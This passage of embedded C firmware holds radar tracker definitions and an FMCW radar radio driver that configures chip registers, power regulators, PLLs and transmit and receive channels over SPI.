#define DIM_NUM 3
#else
#define MEASURE_ELEM_NUM 3 /* r v a */
#define STATE_ELEM_NUM 6 /* rx ry vx vy ax ay */
#define DIM_NUM 2
#endif
#ifdef TRACK_ADAPTIVE_CST
#define TRACK_CST_THR_RNG 9.0f /* Unitless */
#define TRACK_CST_THR_VEL 9.0f /* Unitless */
#define TRACK_CST_THR_ANG 9.0f /* Unitless */
#if TRK_CONF_3D
#define TRACK_CST_THR_ANG_ELV 9.0f /* Unitless */
#endif
#else
#define TRACK_CST_THR_RNG 10.0 /* Unit in BIN*/
#define TRACK_CST_THR_VEL 20.0 /* Unit in BIN*/
#define TRACK_CST_THR_ANG 15.0 /* Unit in BIN*/
#if TRK_CONF_3D
#define TRACK_CST_THR_ANG_ELV 15.0 /* Unit in BIN*/
#endif
#endif
#define RNG_NOISE_STD 1 /* Unit in BIN*/
#define VEL_NOISE_STD 1 /* Unit in BIN*/
#define ANG_NOISE_STD 12 /* Unit in BIN*/
#if TRK_CONF_3D
#define ANG_ELV_NOISE_STD 12 /* Unit in BIN*/
#endif
#define TRACK_DIS_THR_VEL 10.0 /* Unit in BIN */
#define TRACK_IDX_NUL -1
#define TRACK_CST_MAX_2D (TRACK_CST_THR_RNG * TRACK_CST_THR_RNG \
+ TRACK_CST_THR_VEL * TRACK_CST_THR_VEL \
+ TRACK_CST_THR_ANG * TRACK_CST_THR_ANG)
#if TRK_CONF_3D
#define TRACK_CST_MAX (TRACK_CST_MAX_2D + TRACK_CST_THR_ANG_ELV * TRACK_CST_THR_ANG_ELV)
#else
#define TRACK_CST_MAX TRACK_CST_MAX_2D
#endif
/* state */
typedef struct {
track_float_t rng_x; /* range along x axes */
track_float_t rng_y; /* range along y axes */
#if TRK_CONF_3D
track_float_t rng_z; /* range along z axes */
#endif
track_float_t vel_x; /* velocity along x axes */
track_float_t vel_y; /* velocity along y axes */
#if TRK_CONF_3D
track_float_t vel_z; /* velocity along z axes */
#endif
track_float_t acc_x; /* acceleration along x axes */
track_float_t acc_y; /* acceleration along y axes */
#if TRK_CONF_3D
track_float_t acc_z; /* acceleration along z axes */
#endif
} track_state_t;
/* tracker type */
typedef enum {
TRACK_TYP_NUL = 0,
TRACK_TYP_PRE ,
TRACK_TYP_VAL ,
} track_trk_type_t;
/* tracker */
typedef struct {
track_trk_type_t type ;
int8_t hit_time ;
int8_t miss_time;
int16_t idx_1 ;
int16_t idx_2 ;
track_float_t cst_1 ;
track_float_t cst_2 ;
track_float_t sigma_x ;
track_float_t sigma_y ;
#if TRK_CONF_3D
track_float_t sigma_z ;
#endif
track_float_t P[STATE_ELEM_NUM * STATE_ELEM_NUM]; /* could be reduced to 21 for 2D; 45 for 3D */
track_state_t x ;
track_measu_t flt_z ;
track_measu_t pre_z ;
track_float_t meas_var_inv[MEASURE_ELEM_NUM];
} track_trk_t;
/* tracker package */
typedef struct {
track_trk_t trk[TRACK_NUM_TRK];
uint32_t output_trk_number;
bool has_run;
uint32_t f_numb;
track_float_t frame_int;
uint16_t track_type_thres_pre;
uint16_t track_type_thres_val;
track_cdi_pkg_t *raw_input;
track_obj_output_t *output_obj;
track_header_output_t *output_hdr;
} track_trk_pkg_t;
#ifndef TRACK_TEST_MODE
void install_ekf_track(track_t *trk);
#endif
#endif
<file_sep>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#endif
#include "calterah_error.h"
#include "sensor_config.h"
#include "baseband.h"
#include "baseband_hw.h"
#include "cmd_reg.h"
#include "radio_reg.h"
#include "radio_ctrl.h"
#include "alps_dmu_reg.h"
#include "baseband_alps_FM_reg.h"
#include "cascade.h"
#define RADIO_WRITE_BANK_REG_OFFSET(bk, addr, offset, val) fmcw_radio_reg_write(radio, RADIO_BK##bk##_##addr + offset, val)
#define RADIO_READ_REG(addr) fmcw_radio_reg_read(radio, RADIO_##addr)
#define RADIO_READ_REG_FIELD(addr, field) fmcw_radio_reg_read_field(radio, RADIO_BK##bk##_##addr, RADIO##_##addr##_##field##_SHIFT,\
addr##_##field##_MASK)
#define RADIO_READ_BANK_REG_FIELD(bk, addr, field) fmcw_radio_reg_read_field(radio, RADIO_BK##bk##_##addr, \
RADIO_BK##bk##_##addr##_##field##_SHIFT, \
RADIO_BK##bk##_##addr##_##field##_MASK)
#define RADIO_READ_BANK_CH_REG_FIELD(bk, ch, addr, field) \
fmcw_radio_reg_read_field(radio, \
(ch == 0) ? RADIO_BK##bk##_CH0_##addr : \
(ch == 1) ? RADIO_BK##bk##_CH1_##addr : \
(ch == 2) ? RADIO_BK##bk##_CH2_##addr : \
RADIO_BK##bk##_CH3_##addr, \
(ch == 0) ? RADIO_BK##bk##_CH0_##addr##_##field##_SHIFT : \
(ch == 1) ? RADIO_BK##bk##_CH1_##addr##_##field##_SHIFT : \
(ch == 2) ? RADIO_BK##bk##_CH2_##addr##_##field##_SHIFT : \
RADIO_BK##bk##_CH3_##addr##_##field##_SHIFT, \
(ch == 0) ? RADIO_BK##bk##_CH0_##addr##_##field##_MASK : \
(ch == 1) ? RADIO_BK##bk##_CH1_##addr##_##field##_MASK : \
(ch == 2) ? RADIO_BK##bk##_CH2_##addr##_##field##_MASK : \
RADIO_BK##bk##_CH3_##addr##_##field##_MASK)
#define RADIO_WRITE_REG(addr, val) fmcw_radio_reg_write(radio, RADIO_##addr, val)
#define RADIO_MOD_REG(addr, field, val) fmcw_radio_reg_mod(radio, RADIO##_##addr, RADIO##_##addr##_##field##_SHIFT, \
addr##_##field##_MASK, val)
#define RADIO_MOD_BANK_CH_REG(bk, ch, addr, field, val) \
fmcw_radio_reg_mod(radio, \
(ch == 0) ? RADIO_BK##bk##_CH0_##addr : \
(ch == 1) ? RADIO_BK##bk##_CH1_##addr : \
(ch == 2) ? RADIO_BK##bk##_CH2_##addr : \
RADIO_BK##bk##_CH3_##addr, \
(ch == 0) ? RADIO_BK##bk##_CH0_##addr##_##field##_SHIFT : \
(ch == 1) ? RADIO_BK##bk##_CH1_##addr##_##field##_SHIFT : \
(ch == 2) ? RADIO_BK##bk##_CH2_##addr##_##field##_SHIFT : \
RADIO_BK##bk##_CH3_##addr##_##field##_SHIFT, \
(ch == 0) ? RADIO_BK##bk##_CH0_##addr##_##field##_MASK : \
(ch == 1) ? RADIO_BK##bk##_CH1_##addr##_##field##_MASK : \
(ch == 2) ? RADIO_BK##bk##_CH2_##addr##_##field##_MASK : \
RADIO_BK##bk##_CH3_##addr##_##field##_MASK, \
val)
#define TX_EN_CH(ch) (ch == 0) ? RADIO_BK1_CH0_TX_EN0 : \
(ch == 1) ? RADIO_BK1_CH1_TX_EN0 : \
(ch == 2) ? RADIO_BK1_CH2_TX_EN0 : \
RADIO_BK1_CH3_TX_EN0
#define TX_PHASE0_CH(ch) (ch == 0) ? RADIO_BK1_CH0_TX_TUNE0 : \
(ch == 1) ? RADIO_BK1_CH1_TX_TUNE0 : \
(ch == 2) ? RADIO_BK1_CH2_TX_TUNE0 : \
RADIO_BK1_CH3_TX_TUNE0
#define TX_PHASE1_CH(ch) (ch == 0) ? RADIO_BK1_CH0_TX_TUNE1 : \
(ch == 1) ? RADIO_BK1_CH1_TX_TUNE1 : \
(ch == 2) ? RADIO_BK1_CH2_TX_TUNE1 : \
RADIO_BK1_CH3_TX_TUNE1
/* 01 10 01 10 */
/* in phase opposite phase in phase opposite phase */
#define VAM_TX_BPM_PATTEN_1 0x66
/* 01 01 10 10 */
/* in phase, in phase, opposite phase, opposite phase */
#define VAM_TX_BPM_PATTEN_2 0x5A
/* 01 10 10 01*/
/* in phase, opposite phase, opposite phase, in phase */
#define VAM_TX_BPM_PATTEN_3 0x69
#define RADIO_WRITE_BANK_FWCW_TX_REG(bk, tx, addr, val) \
fmcw_radio_reg_write(radio, \
(tx == 0) ? RADIO_BK##bk##_FMCW_TX0_##addr : \
(tx == 1) ? RADIO_BK##bk##_FMCW_TX1_##addr : \
(tx == 2) ? RADIO_BK##bk##_FMCW_TX2_##addr : \
RADIO_BK##bk##_FMCW_TX3_##addr, \
val)
#ifdef UNIT_TEST
#define MDELAY(ms)
#else
#define MDELAY(ms) chip_hw_mdelay(ms);
#endif
static uint8_t vam_status[4];
static uint8_t txphase_status[8];
bool safety_monitor_mode = false;
uint32_t fmcw_radio_compute_lock_freq(fmcw_radio_t *radio);
uint32_t radio_spi_cmd_mode(uint32_t mode)
{
volatile uint32_t *dest = (uint32_t *)RADIO_SPI_CMD_SRC_SEL;
*dest = mode;
return mode;
}
void radio_spi_cmd_write(char addr, char data)
{
volatile uint32_t *dest = (uint32_t *)RADIO_SPI_CMD_OUT;
*dest = ( (RADIO_SPI_CMD_OUT_WR_EN_MASK << RADIO_SPI_CMD_OUT_WR_EN_SHIFT)
+ ((addr & RADIO_SPI_CMD_OUT_ADDR_MASK) << RADIO_SPI_CMD_OUT_ADDR_SHIFT)
+ ((data & RADIO_SPI_CMD_OUT_DATA_MASK) << RADIO_SPI_CMD_OUT_DATA_SHIFT) );
}
uint32_t radio_spi_cmd_read(char addr)
{
volatile uint32_t *dest = (uint32_t *)RADIO_SPI_CMD_OUT;
*dest = (addr & RADIO_SPI_CMD_OUT_ADDR_MASK) << RADIO_SPI_CMD_OUT_ADDR_SHIFT;
dest = (uint32_t *)RADIO_SPI_CMD_IN;
return *dest;
}
char fmcw_radio_reg_read(fmcw_radio_t *radio, char addr)
{
uint32_t cmd_mode_pre;
char cmd_rd_data;
cmd_mode_pre = radio_spi_cmd_mode(RADIO_SPI_CMD_CPU);
cmd_rd_data = radio_spi_cmd_read(addr);
radio_spi_cmd_mode(cmd_mode_pre);
return cmd_rd_data;
}
char fmcw_radio_reg_read_field(fmcw_radio_t *radio, char addr, char shift, char mask)
{
uint32_t cmd_mode_pre;
char cmd_rd_data;
cmd_mode_pre = radio_spi_cmd_mode(RADIO_SPI_CMD_CPU);
cmd_rd_data = radio_spi_cmd_read(addr);
radio_spi_cmd_mode(cmd_mode_pre);
return ((cmd_rd_data >> shift) & mask);
}
void fmcw_radio_reg_write(fmcw_radio_t *radio, char addr, char data)
{
uint32_t cmd_mode_pre;
cmd_mode_pre = radio_spi_cmd_mode(RADIO_SPI_CMD_CPU);
radio_spi_cmd_write(addr, data);
radio_spi_cmd_mode(cmd_mode_pre);
}
void fmcw_radio_reg_mod(fmcw_radio_t *radio, char addr, char shift, char mask, char data)
{
uint32_t cmd_mode_pre;
char cmd_rd_data;
cmd_mode_pre = radio_spi_cmd_mode(RADIO_SPI_CMD_CPU);
cmd_rd_data = radio_spi_cmd_read(addr);
cmd_rd_data &= ~(mask << shift);
cmd_rd_data |= (data & mask) << shift;
radio_spi_cmd_write(addr, cmd_rd_data);
radio_spi_cmd_mode(cmd_mode_pre);
}
void fmcw_radio_reg_dump(fmcw_radio_t *radio)
{
uint8_t old_bank;
char bank_index, addr_index, rd_data;
old_bank = fmcw_radio_switch_bank(radio, 0);
for (bank_index = 0; bank_index < BNK_NUM; bank_index++){
fmcw_radio_switch_bank(radio, bank_index);
for (addr_index = 1; addr_index < BNK_SIZE; addr_index++) {
rd_data = fmcw_radio_reg_read(radio, addr_index);
EMBARC_PRINTF("\r\n%1d %3d 0x%2x",
bank_index, addr_index, rd_data);
}
MDELAY(10);
}
fmcw_radio_switch_bank(radio, old_bank);
}
uint8_t fmcw_radio_switch_bank(fmcw_radio_t *radio, uint8_t bank)
{
uint8_t old_bank = RADIO_READ_BANK_REG(0, REG_BANK);
RADIO_WRITE_BANK_REG(0, REG_BANK, bank);
return old_bank;
}
int32_t fmcw_radio_rx_buffer_on(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 2);
int ch;
RADIO_MOD_BANK_REG(2, LVDS_LDO25, LDO25_LVDS_LDO_EN, 0x1);
RADIO_MOD_BANK_REG(2, LVDS_LDO25, LDO25_LVDS_VSEL, 0x4);
for (ch = 0; ch < MAX_NUM_RX; ch++)
RADIO_MOD_BANK_CH_REG(2, ch, BUFFER, EN, 0x1);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_ldo_on(fmcw_radio_t *radio)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* CBC enable */
RADIO_MOD_BANK_REG(0, CBC_EN, CGM_EN, 0x1);
RADIO_MOD_BANK_REG(0, CBC_EN, LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, CBC_EN, BG_EN, 0x1);
RADIO_MOD_BANK_REG(0, LDO25_PMU, EN, 0x1);
/* Output voltage fixed in AlpsMP */
#if HTOL_TEST == 1
RADIO_MOD_BANK_REG(0, POR,LDO11_SPI_VOUT_SEL, 0x6);
#else
RADIO_MOD_BANK_REG(0, POR,LDO11_SPI_VOUT_SEL, 0x4);
#endif
/* LDO for PLL enable */
RADIO_MOD_BANK_REG(0, REFPLL_LDO0, LDO25_XTAL_LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_LDO1, LDO25_PLL_LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_LDO2, LDO11_VCO_LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_LDO3, LDO11_MMD_LDO_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_LDO4, LDO11_MMD2_LDO_EN, 0x1);
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO1, LDO25_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO2, LDO11_VCO_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO4, LDO11_CM_EN, 0x1);
} else {
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO1, LDO25_EN, 0x0);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO2, LDO11_VCO_EN, 0x0);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, 0x0);
}
RADIO_WRITE_REG(BK0_LO_LDO1, 0xc0);
#else
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO1, LDO25_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO2, LDO11_VCO_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO3, LDO11_MMD_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_LDO4, LDO11_CM_EN, 0x1);
#endif
/* LDO for LO enable */
RADIO_MOD_BANK_REG(0, LO_LDO0, LDO11_LOMAINPATH_EN, 0x1);
RADIO_MOD_BANK_REG(0, LO_LDO2, LDO11_TXLO_EN, 0x1);
RADIO_MOD_BANK_REG(0, LO_LDO3, LDO11_RXLO_EN, 0x1);
/* LDO for RX enable */
RADIO_MOD_BANK_REG(0, RX_LDO0, LDO11_RFN_EN, 0x1);
RADIO_MOD_BANK_REG(0, RX_LDO1, LDO11_RFS_EN, 0x1);
RADIO_MOD_BANK_REG(0, RX_LDO2, LDO25_BBN_EN, 0x1);
RADIO_MOD_BANK_REG(0, RX_LDO3, LDO25_BBS_EN, 0x1);
fmcw_radio_switch_bank(radio, 1);
/* LDO for TX and TX's PA enable */
if (cfg->tx_groups[0] == 0) {
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_PA_EN, 0x0);
}
else{
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_EN, 0x1);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_PA_EN, 0x1);
}
if (cfg->tx_groups[1] == 0){
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_PA_EN, 0x0);
}
else{
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_EN, 0x1);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_PA_EN, 0x1);
}
if (cfg->tx_groups[2] == 0){
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_PA_EN, 0x0);
}
else{
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_EN, 0x1);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_PA_EN, 0x1);
}
if (cfg->tx_groups[3] == 0){
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_PA_EN, 0x0);
}
else{
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_EN, 0x1);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_PA_EN, 0x1);
}
/* Disable LDO for TX and TX's PA in cascade slave chip */
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_SLAVE) {
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX0_PA_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX1_PA_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX2_PA_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_EN, 0x0);
RADIO_MOD_BANK_REG(1, TX_LDO_EN, LDO11_TX3_PA_EN, 0x0);
}
#endif
/* No Need to ON Buffer, only in test */
/* LDO for ADC enable */
RADIO_MOD_BANK_REG(1, ADC_LDO0, LDO11_ADC12_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO1, LDO12_ADC12_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO2, LDO25_ADC12_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO3, LDO11_ADC34_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO4, LDO12_ADC34_EN, 0x1);
RADIO_MOD_BANK_REG(1, ADC_LDO5, LDO25_ADC34_EN, 0x1);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_refpll_on(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* enable reference PLL's mainly part */
#ifdef CHIP_CASCADE
/* cfg->cascade_mode must not be used here, since initializaiton is not started yet */
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
RADIO_MOD_BANK_REG(0, REFPLL_EN, CLK_400M_FMCW_EN, 0x1);
else
RADIO_MOD_BANK_REG(0, REFPLL_EN, CLK_400M_FMCW_EN, 0x0);
#else
RADIO_MOD_BANK_REG(0, REFPLL_EN, CLK_400M_FMCW_EN, 0x1);
#endif
RADIO_MOD_BANK_REG(0, REFPLL_EN, DIV_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_EN, VCO_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_EN, CP_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_EN, XOSC_BUF_EN, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_EN, XOSC_EN, 0x1); // FIXME, slave may change to be 0, but 1 may also work, comments by wenting
//enalbe clock to Lock detector,400M ADC, CPU
RADIO_MOD_BANK_REG(0, PLL_VIO_OUT, REFPLL_REF_AUX_OUT_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_VIO_OUT, REFPLL_REF_OUT_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_400M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_CLK_800M_ADC_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_SDMADC_CLKSEL, 0x0);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_LOCK_DIV_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, REFPLL_LOCK_REF_EN, 0x1);
//Since PN under 450MHz of ALpsB is very poor, abandon 450MHz, default 400MHz
#if FMCW_SDM_FREQ == 400
RADIO_MOD_BANK_REG(0, REFPLL_DIV, L, 0x1);
RADIO_MOD_BANK_REG(0, REFPLL_LF, DIVH2, 0x2);
#elif FMCW_SDM_FREQ == 360
RADIO_MOD_BANK_REG(0, REFPLL_DIV, L, 0x0);
RADIO_MOD_BANK_REG(0, REFPLL_LF, DIVH2, 0x4);
#endif
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_pll_on(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
//enable FMCWPLL's mainly block and on 4G
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, TSPCDIV_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, CMLDIV_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, 4G_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, VCO_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, CP_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, PFD_DL_DIS, 0x0); // auto dis should open, or FMCW will not work, comments by wenting
RADIO_MOD_BANK_REG(0, FMCWPLL_VCO, FMCWPLL_PFD_DL_DIS2, 0x1); //dis2
} else {
RADIO_WRITE_REG(BK0_FMCWPLL_EN, 0);
}
#else
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, TSPCDIV_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, CMLDIV_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, 4G_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, VCO_EN, 0x1);
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, CP_EN, 0x1);
//dis1's setting at up ramp
RADIO_MOD_BANK_REG(0, FMCWPLL_EN, PFD_DL_DIS, 0x0);
//dis2 = 1
RADIO_MOD_BANK_REG(0, FMCWPLL_VCO, FMCWPLL_PFD_DL_DIS2, 0x1); //dis2
#endif
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, FMCWPLL_LOCKDIV_EN, 0x1);
RADIO_MOD_BANK_REG(0, PLL_CLK_OUT, FMCWPLL_LOCKREF_EN, 0x1);
//auto dis1
fmcw_radio_switch_bank(radio, 3);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, SEL, 0x0);
RADIO_MOD_BANK_REG(3, AUTO_DL_DIS, EN , 0x1);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_lo_on(fmcw_radio_t *radio, bool enable)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
/* enable LO's mainly block,including RX and TX */
RADIO_MOD_BANK_REG(0, LO_EN0, LO_RXDR_STG3_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN0, LO_RXDR_STG2_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN0, LO_RXDR_STG1_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN0, DBL2_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN0, DBL1_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN0, LODR_EN, enable);
#ifdef CHIP_CASCADE
RADIO_MOD_BANK_REG(0, LO_EN0, VCOBUFF2_EN, 0x0);
RADIO_MOD_BANK_REG(0, LO_EN0, VCOBUFF1_EN, 0x0);
if (enable == true) {
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
RADIO_WRITE_REG(BK0_LO_EN2, 0xff);
else
RADIO_WRITE_REG(BK0_LO_EN2, 0x7f);
} else {
RADIO_WRITE_REG(BK0_LO_EN2, 0x0);
}
#else
RADIO_MOD_BANK_REG(0, LO_EN0, VCOBUFF2_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN0, VCOBUFF1_EN, enable);
#endif
RADIO_MOD_BANK_REG(0, LO_EN1, LO_VTUNE_VAR_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG3_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG2_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN1, LO1_TXDR_STG1_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG3_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG2_EN, enable);
RADIO_MOD_BANK_REG(0, LO_EN1, LO2_TXDR_STG1_EN, enable);
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_tx_on(fmcw_radio_t *radio)
{
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
int ch;
//4 channels
for (ch = 0; ch < MAX_NUM_TX; ch++) {
RADIO_MOD_BANK_CH_REG(1, ch, TX_EN0, PADR_BIAS_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, TX_EN0, PA_BIAS_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, TX_EN0, QDAC_BIAS_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, TX_EN0, IDAC_BIAS_EN, 0x1);
}
fmcw_radio_switch_bank(radio, old_bank);
return E_OK;
}
int32_t fmcw_radio_rx_on(fmcw_radio_t *radio, bool enable)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
if (enable == true)
fmcw_radio_hp_auto_ch_off(radio,-1);
uint8_t old_bank = fmcw_radio_switch_bank(radio, 0);
uint8_t ch;
uint8_t enable_2bit = 0x3 & (enable | (enable << 1));
//4 channels
for (ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_RF_EN, RXLOBUFF_BIAS_EN, enable);
RADIO_MOD_BANK_CH_REG(0, ch, RX_RF_EN, LNA2_BIAS_EN, enable);
RADIO_MOD_BANK_CH_REG(0, ch, RX_RF_EN, LNA1_BIAS_EN, enable);
RADIO_MOD_BANK_CH_REG(0, ch, RX_RF_EN, TIA_BIAS_EN, enable);
RADIO_MOD_BANK_CH_REG(0, ch, RX_RF_EN, TIA_S1_EN, enable_2bit);
RADIO_MOD_BANK_CH_REG(0, ch, RX_RF_EN, TIA_VCTRL_EN, enable);
RADIO_MOD_BANK_CH_REG(0, ch, RX_BB_EN, BIAS_EN, enable);
RADIO_MOD_BANK_CH_REG(0, ch, RX_BB_EN, VGA1_EN, enable);
RADIO_MOD_BANK_CH_REG(0, ch, RX_BB_EN, VGA2_EN, enable);
/* RX gain setting to cfg value */
if (enable == true && safety_monitor_mode == false) {
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE0, TIA_RFB_SEL, cfg->rf_tia_gain);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA2_GAINSEL, cfg->rf_vga2_gain);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE1, VGA1_GAINSEL, cfg->rf_vga1_gain);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE2, HP2_SEL, cfg->rf_hpf2);
RADIO_MOD_BANK_CH_REG(0, ch, RX_TUNE2, HP1_SEL, cfg->rf_hpf1);
RADIO_MOD_BANK_CH_REG(0, ch, RX_BIAS4, VGA2_VCMSEL, 0x4);
RADIO_MOD_BANK_CH_REG(0, ch, RX_BIAS4, VGA1_VCMSEL, 0x4);
}
}
#ifndef CHIP_CASCADE // Not ready for cascade but HPF can still work
fmcw_radio_hp_auto_ch_on(radio,-1); // To shorten HPF set up time
#endif
fmcw_radio_switch_bank(radio, old_bank);
#ifndef CHIP_CASCADE
fmcw_radio_hp_auto_ch_on(radio,-1); /* re-open hp after inter_frame_power_save */
#endif
return E_OK;
}
int32_t fmcw_radio_adc_on(fmcw_radio_t *radio)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(radio, baseband_t, radio)->cfg;
uint8_t old_bank = fmcw_radio_switch_bank(radio, 1);
RADIO_MOD_BANK_REG(1, ADC_MUX_OUT_SEL, CLK_EN, 0x1);
int ch;
//4 channels ADC, vcmbuf should always kept low
for (ch = 0; ch < MAX_NUM_RX; ch++) {
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, RST, 0x0);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, BUFFER_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, BUFFER_VCMBUF_EN, 0x0);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, ANALS_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, OP1_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, OP2_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN0, OP3_EN, 0x1);
RADIO_MOD_BANK_CH_REG(1, ch, ADC_EN1, CMP_VCALREF_EN, 0x1);
